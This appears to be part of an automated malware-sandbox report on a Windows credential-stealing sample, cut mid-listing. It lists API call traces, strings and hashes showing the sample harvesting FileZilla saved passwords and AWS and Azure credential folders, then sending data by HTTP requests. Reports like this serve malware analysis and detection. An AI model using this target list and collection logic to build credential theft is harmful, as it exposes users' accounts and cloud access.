lstrcatA.KERNEL32(?,profile: null,?,?,00000000), ref: 00410571
lstrcatA.KERNEL32(?,url: ,?,?,00000000), ref: 00410580
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410593
lstrcatA.KERNEL32(?,00421678,?,?,00000000), ref: 004105A2
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 004105B5
lstrcatA.KERNEL32(?,0042167C,?,?,00000000), ref: 004105C4
lstrcatA.KERNEL32(?,login: ,?,?,00000000), ref: 004105D3
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 004105E6
lstrcatA.KERNEL32(?,00421688,?,?,00000000), ref: 004105F5
lstrcatA.KERNEL32(?,password: ,?,?,00000000), ref: 00410604
lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00410617
lstrcatA.KERNEL32(?,00421698,?,?,00000000), ref: 00410626
lstrcatA.KERNEL32(?,0042169C,?,?,00000000), ref: 00410635
strtok_s.MSVCRT ref: 00410679
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 0041068E
memset.MSVCRT ref: 004106DD

Strings

profile: null, xrefs: 00410568
<Host>, xrefs: 0041037C
login: , xrefs: 004105CA
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 004102A4
<User>, xrefs: 00410410
NA, xrefs: 0041072E, 004106AF, 004106B2
password: , xrefs: 004105FB
<Port>, xrefs: 004103C6
<Pass encoding="base64">, xrefs: 0041045A
url: , xrefs: 00410577
browser: FileZilla, xrefs: 00410559
NA, xrefs: 004102CC, 004102F2, 004102CF, 004102F5

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$CloseCreateFolderFreeHandlePathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$NA$NA$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 337689325-514892060
Opcode ID: d703adcf312afa78f567e3413873f3226fbd2fc71e0b914fded6cee151632d1c
Instruction ID: d15eb70b6d553ab1cc94bc99ca27928082ec116ada4a7d19c18b432e65637ade
Opcode Fuzzy Hash: d703adcf312afa78f567e3413873f3226fbd2fc71e0b914fded6cee151632d1c
Instruction Fuzzy Hash: 86D16D75A41208ABCB04FBF1DD86EEE7379FF14314F50441EF102A6091DE78AA96CB69

Function 022C4827 Relevance: 51.1, APIs: 34, Instructions: 114stringmemoryCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00424DA0), ref: 022C4833
lstrlen.KERNEL32(00424E50), ref: 022C483E
lstrlen.KERNEL32(00424F18), ref: 022C4849
lstrlen.KERNEL32(00424FD0), ref: 022C4854
lstrlen.KERNEL32(00425078), ref: 022C485F
GetProcessHeap.KERNEL32(00000000,?), ref: 022C486E
RtlAllocateHeap.NTDLL(00000000), ref: 022C4875
lstrlen.KERNEL32(00425120), ref: 022C4883
lstrlen.KERNEL32(004251C8), ref: 022C488E
lstrlen.KERNEL32(00425270), ref: 022C4899
lstrlen.KERNEL32(00425318), ref: 022C48A4
lstrlen.KERNEL32(004253C0), ref: 022C48AF
lstrlen.KERNEL32(00425468), ref: 022C48C3
lstrlen.KERNEL32(00425510), ref: 022C48CE
lstrlen.KERNEL32(004255B8), ref: 022C48D9
lstrlen.KERNEL32(00425660), ref: 022C48E4
lstrlen.KERNEL32(00425708), ref: 022C48EF
lstrlen.KERNEL32(004257B0), ref: 022C4918
lstrlen.KERNEL32(00425858), ref: 022C4923
lstrlen.KERNEL32(00425920), ref: 022C492E
lstrlen.KERNEL32(004259C8), ref: 022C4939
lstrlen.KERNEL32(?), ref: 022C4944
strlen.MSVCRT ref: 022C4957
lstrlen.KERNEL32(00425B18), ref: 022C497F
lstrlen.KERNEL32(00425BC0), ref: 022C498A
lstrlen.KERNEL32(00425C68), ref: 022C4995
lstrlen.KERNEL32(00425D10), ref: 022C49A0
lstrlen.KERNEL32(00425DB8), ref: 022C49AB
lstrlen.KERNEL32(00425E60), ref: 022C49BB
lstrlen.KERNEL32(00425F08), ref: 022C49C6
lstrlen.KERNEL32(00425FB0), ref: 022C49D1
lstrlen.KERNEL32(00426058), ref: 022C49DC
lstrlen.KERNEL32(00426100), ref: 022C49E7
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 022C4A03

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID:
API String ID: 2127927946-0
Opcode ID: 60c508d88f0449400eea4780d1c2a55aa70dbc5de1ae23165444dfbd3f1c6033
Instruction ID: 9c0f284fc2ccd3e2908ef6c8000a71173df018f982b8bb299c25c1bec77df52b
Opcode Fuzzy Hash: 60c508d88f0449400eea4780d1c2a55aa70dbc5de1ae23165444dfbd3f1c6033
Instruction Fuzzy Hash: A541B779740624EBC718AFE5EC89B987F71AB4C712BA0C066F90299190CBB5D5019B3E

Function 022D04B7 Relevance: 48.4, APIs: 32, Instructions: 363stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 022DA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 022DA9EF

Part of subcall function 022D9047: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 022D9072

Part of subcall function 022DAB87: lstrcpy.KERNEL32(00000000,?), ref: 022DABD9
Part of subcall function 022DAB87: lstrcat.KERNEL32(00000000), ref: 022DABE9

Part of subcall function 022DAB07: lstrcpy.KERNEL32(?,00420E17), ref: 022DAB6C

Part of subcall function 022DAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FBC,00420E17), ref: 022DAC2C
Part of subcall function 022DAC17: lstrcpy.KERNEL32(00000000), ref: 022DAC6B
Part of subcall function 022DAC17: lstrcat.KERNEL32(00000000,00000000), ref: 022DAC79

Part of subcall function 022DAA07: lstrcpy.KERNEL32(?,00000000), ref: 022DAA4D

Part of subcall function 022C9C27: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 022C9C53
Part of subcall function 022C9C27: GetFileSizeEx.KERNEL32(000000FF,?), ref: 022C9C78
Part of subcall function 022C9C27: LocalAlloc.KERNEL32(00000040,?), ref: 022C9C98
Part of subcall function 022C9C27: ReadFile.KERNEL32(000000FF,?,00000000,022C16F6,00000000), ref: 022C9CC1
Part of subcall function 022C9C27: LocalFree.KERNEL32(022C16F6), ref: 022C9CF7
Part of subcall function 022C9C27: CloseHandle.KERNEL32(000000FF), ref: 022C9D01

Part of subcall function 022D9097: LocalAlloc.KERNEL32(00000040,-00000001), ref: 022D90B9

strtok_s.MSVCRT ref: 022D0582
GetProcessHeap.KERNEL32(00000000,000F423F,00420DBA,00420DB7,00420DB6,00420DB3), ref: 022D05C9
RtlAllocateHeap.NTDLL(00000000), ref: 022D05D0
StrStrA.SHLWAPI(00000000,00421618), ref: 022D05EC
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 022D05FA

Part of subcall function 022D8B47: malloc.MSVCRT ref: 022D8B4F
Part of subcall function 022D8B47: strncpy.MSVCRT ref: 022D8B6A

StrStrA.SHLWAPI(00000000,00421620), ref: 022D0636
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 022D0644
StrStrA.SHLWAPI(00000000,00421628), ref: 022D0680
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 022D068E
StrStrA.SHLWAPI(00000000,00421630), ref: 022D06CA
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 022D06DC
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 022D0769
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 022D0781
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 022D0799
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 022D07B1
lstrcat.KERNEL32(?,0042164C), ref: 022D07C9
lstrcat.KERNEL32(?,00421660), ref: 022D07D8
lstrcat.KERNEL32(?,00421670), ref: 022D07E7
lstrcat.KERNEL32(?,00000000), ref: 022D07FA
lstrcat.KERNEL32(?,00421678), ref: 022D0809
lstrcat.KERNEL32(?,00000000), ref: 022D081C
lstrcat.KERNEL32(?,0042167C), ref: 022D082B
lstrcat.KERNEL32(?,00421680), ref: 022D083A
lstrcat.KERNEL32(?,00000000), ref: 022D084D
lstrcat.KERNEL32(?,00421688), ref: 022D085C
lstrcat.KERNEL32(?,0042168C), ref: 022D086B
lstrcat.KERNEL32(?,00000000), ref: 022D087E
lstrcat.KERNEL32(?,00421698), ref: 022D088D
lstrcat.KERNEL32(?,0042169C), ref: 022D089C
strtok_s.MSVCRT ref: 022D08E0
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420DB2), ref: 022D08F5
memset.MSVCRT ref: 022D0944

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeapstrtok_s$AllocateCloseCreateFolderFreeHandlePathProcessReadSizemallocmemsetstrncpy
String ID:
API String ID: 3689735781-0
Opcode ID: c4d654fd63af8b96c424d1b0ea7922b0682d9adc7819136a205fb9eb7b79f56e
Instruction ID: cc7b04d65b3c6fe1bdba99e519daa8439f61f185e7c3b23c7221d36427c9a37a
Opcode Fuzzy Hash: c4d654fd63af8b96c424d1b0ea7922b0682d9adc7819136a205fb9eb7b79f56e
Instruction Fuzzy Hash: 88D14A75A60308ABCB04EBF4DD85EEEB77AFF14300F544518E102A6198DF78AA05CF65

Function 00405960 Relevance: 44.2, APIs: 19, Strings: 6, Instructions: 493networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004059F8
StrCmpCA.SHLWAPI(?,0079B138), ref: 00405A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405B93
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0079B0D8,00000000,?,00794A48,00000000,?,00421A1C), ref: 00405E71
lstrlenA.KERNEL32(00000000), ref: 00405E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00405E93
HeapAlloc.KERNEL32(00000000), ref: 00405E9A
lstrlenA.KERNEL32(00000000), ref: 00405EAF
memcpy.MSVCRT(?,00000000,00000000), ref: 00405EC6
lstrlenA.KERNEL32(00000000), ref: 00405ED8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405EF1
memcpy.MSVCRT(?), ref: 00405EFE
lstrlenA.KERNEL32(00000000,?,?), ref: 00405F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405F4C
InternetCloseHandle.WININET(00000000), ref: 00405FB0
InternetCloseHandle.WININET(00000000), ref: 00405FBD
HttpOpenRequestA.WININET(00000000,0079B248,?,0079ABA0,00000000,00000000,00400100,00000000), ref: 00405BF8

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

InternetCloseHandle.WININET(00000000), ref: 00405FC7

Strings

", xrefs: 00405CD5
------, xrefs: 00405D4C
------, xrefs: 00405A96
------, xrefs: 00405C0B
", xrefs: 00405E16
HJy, xrefs: 00405C82, 00405DC3

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$HJy
API String ID: 1406981993-2052426667
Opcode ID: 29c6a945f459f2f8c1075a72b727d682fe226b594e8a99ac19100750237bb99c
Instruction ID: 7b5b204680124ce1d4beb717fdfef1c68a0c63715f2d18b0248442adb904f056
Opcode Fuzzy Hash: 29c6a945f459f2f8c1075a72b727d682fe226b594e8a99ac19100750237bb99c
Instruction Fuzzy Hash: 20124071821118ABCB15FBA1DC95FEEB378BF14314F50419EB10A62091DF782B9ACF69

Function 022CD157 Relevance: 42.4, APIs: 21, Strings: 3, Instructions: 374stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 022DA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 022DA9EF

Part of subcall function 022DAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FBC,00420E17), ref: 022DAC2C
Part of subcall function 022DAC17: lstrcpy.KERNEL32(00000000), ref: 022DAC6B
Part of subcall function 022DAC17: lstrcat.KERNEL32(00000000,00000000), ref: 022DAC79

Part of subcall function 022DAB07: lstrcpy.KERNEL32(?,00420E17), ref: 022DAB6C

Part of subcall function 022D8DC7: GetSystemTime.KERNEL32(00420E1A,xJy,004205AE,?,?,022C1660,?,0000001A,00420E1A,00000000,?,0064A1F0,?,00424FBC,00420E17), ref: 022D8DED

Part of subcall function 022DAB87: lstrcpy.KERNEL32(00000000,?), ref: 022DABD9
Part of subcall function 022DAB87: lstrcat.KERNEL32(00000000), ref: 022DABE9

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 022CD1EA
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 022CD32E
RtlAllocateHeap.NTDLL(00000000), ref: 022CD335
lstrcat.KERNEL32(?,00000000), ref: 022CD46F
lstrcat.KERNEL32(?,00421478), ref: 022CD47E
lstrcat.KERNEL32(?,00000000), ref: 022CD491
lstrcat.KERNEL32(?,0042147C), ref: 022CD4A0
lstrcat.KERNEL32(?,00000000), ref: 022CD4B3
lstrcat.KERNEL32(?,00421480), ref: 022CD4C2
lstrcat.KERNEL32(?,00000000), ref: 022CD4D5
lstrcat.KERNEL32(?,00421484), ref: 022CD4E4
lstrcat.KERNEL32(?,00000000), ref: 022CD4F7
lstrcat.KERNEL32(?,00421488), ref: 022CD506
lstrcat.KERNEL32(?,00000000), ref: 022CD519
lstrcat.KERNEL32(?,0042148C), ref: 022CD528
lstrcat.KERNEL32(?,00000000), ref: 022CD53B
lstrcat.KERNEL32(?,00421490), ref: 022CD54A

Part of subcall function 022DAA87: lstrlen.KERNEL32(022C516C,?,?,022C516C,00420DDE), ref: 022DAA92
Part of subcall function 022DAA87: lstrcpy.KERNEL32(00420DDE,00000000), ref: 022DAAEC

lstrlen.KERNEL32(?), ref: 022CD591
lstrlen.KERNEL32(?), ref: 022CD5A0
memset.MSVCRT ref: 022CD5EF

Part of subcall function 022DACD7: StrCmpCA.SHLWAPI(0064A350,022CAA0E,?,022CAA0E,0064A350), ref: 022DACF6

DeleteFileA.KERNEL32(00000000), ref: 022CD61B

Strings

.y, xrefs: 022CD29E, 022CD2A4
@/y, xrefs: 022CD1FD, 022CD203
`oy, xrefs: 022CD30B, 022CD311

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID: @/y$`oy$.y
API String ID: 1973479514-2871860770
Opcode ID: 35b3a7c6026b7343794acd9bc88f8a24a43edb670061b4873ce96399e81ec4f6
Instruction ID: 6bc0aab897d0711fc408c65b9e5ee5f944f2bdf8c83a0c5e7642a257385cd0ef
Opcode Fuzzy Hash: 35b3a7c6026b7343794acd9bc88f8a24a43edb670061b4873ce96399e81ec4f6
Instruction Fuzzy Hash: 21E15A75960208ABCB08FBE4DD95EEE737ABF24301F504259F106A71A4DF35AA09CF61

Function 0040CEF0 Relevance: 42.4, APIs: 21, Strings: 3, Instructions: 374stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,00794A78,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040D0C7
HeapAlloc.KERNEL32(00000000), ref: 0040D0CE
lstrcatA.KERNEL32(?,00000000,00792DF0,00421474,00792DF0,00421470,00000000), ref: 0040D208
lstrcatA.KERNEL32(?,00421478), ref: 0040D217
lstrcatA.KERNEL32(?,00000000), ref: 0040D22A
lstrcatA.KERNEL32(?,0042147C), ref: 0040D239
lstrcatA.KERNEL32(?,00000000), ref: 0040D24C
lstrcatA.KERNEL32(?,00421480), ref: 0040D25B
lstrcatA.KERNEL32(?,00000000), ref: 0040D26E
lstrcatA.KERNEL32(?,00421484), ref: 0040D27D
lstrcatA.KERNEL32(?,00000000), ref: 0040D290
lstrcatA.KERNEL32(?,00421488), ref: 0040D29F
lstrcatA.KERNEL32(?,00000000), ref: 0040D2B2
lstrcatA.KERNEL32(?,0042148C), ref: 0040D2C1
lstrcatA.KERNEL32(?,00000000), ref: 0040D2D4
lstrcatA.KERNEL32(?,00421490), ref: 0040D2E3

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,00792F70,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

lstrlenA.KERNEL32(?), ref: 0040D32A
lstrlenA.KERNEL32(?), ref: 0040D339
memset.MSVCRT ref: 0040D388

Part of subcall function 0041AA70: StrCmpCA.SHLWAPI(00000000,00421470,0040D1A2,00421470,00000000), ref: 0041AA8F

DeleteFileA.KERNEL32(00000000), ref: 0040D3B4

Strings

@/y, xrefs: 0040CF96
`oy, xrefs: 0040D0A4
.y, xrefs: 0040D037

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocCopyDeleteProcessSystemTimememset
String ID: @/y$`oy$.y
API String ID: 2775534915-2871860770
Opcode ID: a4f97debc43b6bb646af20662aa76c17e404fc0e6804846b70a1b628625fc9e7
Instruction ID: 94f9062ed3f4a6e26da847402fe0a382ec35b8ad99342330bde04fa79d6a5422
Opcode Fuzzy Hash: a4f97debc43b6bb646af20662aa76c17e404fc0e6804846b70a1b628625fc9e7
Instruction Fuzzy Hash: D2E17D75950108ABCB04FBE1DD96EEE7379BF14304F10405EF107B60A1DE38AA5ACB6A

Function 022C5BC7 Relevance: 35.5, APIs: 19, Strings: 1, Instructions: 493networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 022DAA07: lstrcpy.KERNEL32(?,00000000), ref: 022DAA4D

Part of subcall function 022C4A17: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 022C4A51
Part of subcall function 022C4A17: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 022C4A68
Part of subcall function 022C4A17: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 022C4A7F
Part of subcall function 022C4A17: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 022C4AA0
Part of subcall function 022C4A17: InternetCrackUrlA.WININET(00000000,00000000), ref: 022C4AB0

Part of subcall function 022DA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 022DA9EF

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 022C5C5F
StrCmpCA.SHLWAPI(?,0064A480), ref: 022C5C7A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 022C5DFA
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00421A20,00000000,?,0064A0F0,00000000,?,HJy,00000000,?,00421A1C), ref: 022C60D8
lstrlen.KERNEL32(00000000), ref: 022C60E9
GetProcessHeap.KERNEL32(00000000,?), ref: 022C60FA
RtlAllocateHeap.NTDLL(00000000), ref: 022C6101
lstrlen.KERNEL32(00000000), ref: 022C6116
memcpy.MSVCRT(?,00000000,00000000), ref: 022C612D
lstrlen.KERNEL32(00000000), ref: 022C613F
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 022C6158
memcpy.MSVCRT(?), ref: 022C6165
lstrlen.KERNEL32(00000000,?,?), ref: 022C6182
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 022C6196
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 022C61B3
InternetCloseHandle.WININET(00000000), ref: 022C6217
InternetCloseHandle.WININET(00000000), ref: 022C6224
HttpOpenRequestA.WININET(00000000,0064A49C,?,0064A2B4,00000000,00000000,00400100,00000000), ref: 022C5E5F

Part of subcall function 022DAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FBC,00420E17), ref: 022DAC2C
Part of subcall function 022DAC17: lstrcpy.KERNEL32(00000000), ref: 022DAC6B
Part of subcall function 022DAC17: lstrcat.KERNEL32(00000000,00000000), ref: 022DAC79

Part of subcall function 022DAB07: lstrcpy.KERNEL32(?,00420E17), ref: 022DAB6C

Part of subcall function 022DAB87: lstrcpy.KERNEL32(00000000,?), ref: 022DABD9
Part of subcall function 022DAB87: lstrcat.KERNEL32(00000000), ref: 022DABE9

InternetCloseHandle.WININET(00000000), ref: 022C622E

Strings

HJy, xrefs: 022C5EE9, 022C5EEF, 022C602A, 022C6030

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocateConnectCrackFileProcessReadSend
String ID: HJy
API String ID: 1703137719-2726783869
Opcode ID: 953f36d5d89b78922954f70e89b18a367f9e390412a3d758b9e507f35f40a690
Instruction ID: f9be7a9eba73af33116529da3967425e95a1ef1c14b7166a5216eb8dc38915d4
Opcode Fuzzy Hash: 953f36d5d89b78922954f70e89b18a367f9e390412a3d758b9e507f35f40a690
Instruction Fuzzy Hash: 7C12FE71930328ABCB15EBE4DD95FEEB37ABF24700F504299A10662194EF742B89CF54

Function 00414D70 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 119stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00414D87

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000), ref: 00414DB0
lstrcatA.KERNEL32(?,\.azure\), ref: 00414DCD

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

memset.MSVCRT ref: 00414E13
lstrcatA.KERNEL32(?,00000000), ref: 00414E3C
lstrcatA.KERNEL32(?,\.aws\), ref: 00414E59

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

memset.MSVCRT ref: 00414E9F
lstrcatA.KERNEL32(?,00000000), ref: 00414EC8
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 00414EE5

Part of subcall function 00414910: wsprintfA.USER32 ref: 004149B0
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,004208D2), ref: 004149C5
Part of subcall function 00414910: wsprintfA.USER32 ref: 004149E2
Part of subcall function 00414910: PathMatchSpecA.SHLWAPI(?,?), ref: 00414A1E
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00793010,?,000003E8), ref: 00414A4A
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FF8), ref: 00414A5C
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A70
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FFC), ref: 00414A82
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A96
Part of subcall function 00414910: CopyFileA.KERNEL32(?,?,00000001), ref: 00414AAC
Part of subcall function 00414910: DeleteFileA.KERNEL32(?), ref: 00414B31

memset.MSVCRT ref: 00414F2B

Strings

\.azure\, xrefs: 00414DC1
\.IdentityService\, xrefs: 00414ED9
zaA, xrefs: 00414DF1, 00414E7D, 00414F09, 00414F34, 00414DF4, 00414E80, 00414F0C
Azure\.azure, xrefs: 00414DD3
*.*, xrefs: 00414DD8
\.aws\, xrefs: 00414E4D
Azure\.IdentityService, xrefs: 00414EEB
msal.cache, xrefs: 00414EF0
Azure\.aws, xrefs: 00414E5F
*.*, xrefs: 00414E64

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
